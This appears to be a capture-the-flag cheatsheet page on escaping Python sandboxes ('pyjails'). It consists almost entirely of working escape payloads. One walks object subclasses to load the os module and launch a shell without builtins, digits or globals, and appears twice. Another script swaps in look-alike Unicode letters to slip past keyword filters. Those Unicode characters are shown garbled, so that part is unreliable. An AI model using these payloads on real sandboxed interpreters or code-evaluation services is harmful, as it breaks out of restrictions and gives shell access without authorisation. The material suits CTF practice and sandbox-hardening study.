Pyjails

Function Override

fun_name = lambda x: x
code = f"().__class__.__base__.__subclasses__()['{'-'*104}'.__len__()].load_module(().__class__.__base__.__subclasses__()['{137*'-'}'.__len__()].__module__[:'{'-'*2}'.__len__()]).system(().__class__.__base__.__subclasses__()['{130*'-'}'.__len__()].__name__['{'-'*2}'.__len__():'{'-'*4}'.__len__()])"

No builtins or numbers or globals

code = f"().__class__.__base__.__subclasses__()['{'-'*104}'.__len__()].load_module(().__class__.__base__.__subclasses__()['{137*'-'}'.__len__()].__module__[:'{'-'*2}'.__len__()]).system(().__class__.__base__.__subclasses__()['{130*'-'}'.__len__()].__name__['{'-'*2}'.__len__():'{'-'*4}'.__len__()])"

Unicode supports

import string,sys
fake_alphabet = "๐”ž ๐”Ÿ ๐”  ๐”ก ๐”ข ๐”ฃ ๐”ค ๐”ฅ ๐”ฆ ๐”ง ๐”จ ๐”ฉ ๐”ช ๐”ซ ๐”ฌ ๐”ญ ๐”ฎ ๐”ฏ ๐”ฐ ๐”ฑ ๐”ฒ ๐”ณ ๐”ด ๐”ต ๐”ถ ๐”ท".split(" ")
real_alphabet = string.ascii_lowercase
trans = str.maketrans("".join(real_alphabet), "".join(fake_alphabet))
code = sys.argv[1]
converted_code = code.translate(trans)
print(converted_code) 

# python3 exploit.py 'print(flag)'"
#๐”ญ๐”ฏ๐”ฆ๐”ซ๐”ฑ(๐”ฃ๐”ฉ๐”ž๐”ค)

Useful Cheatsheets

Last updated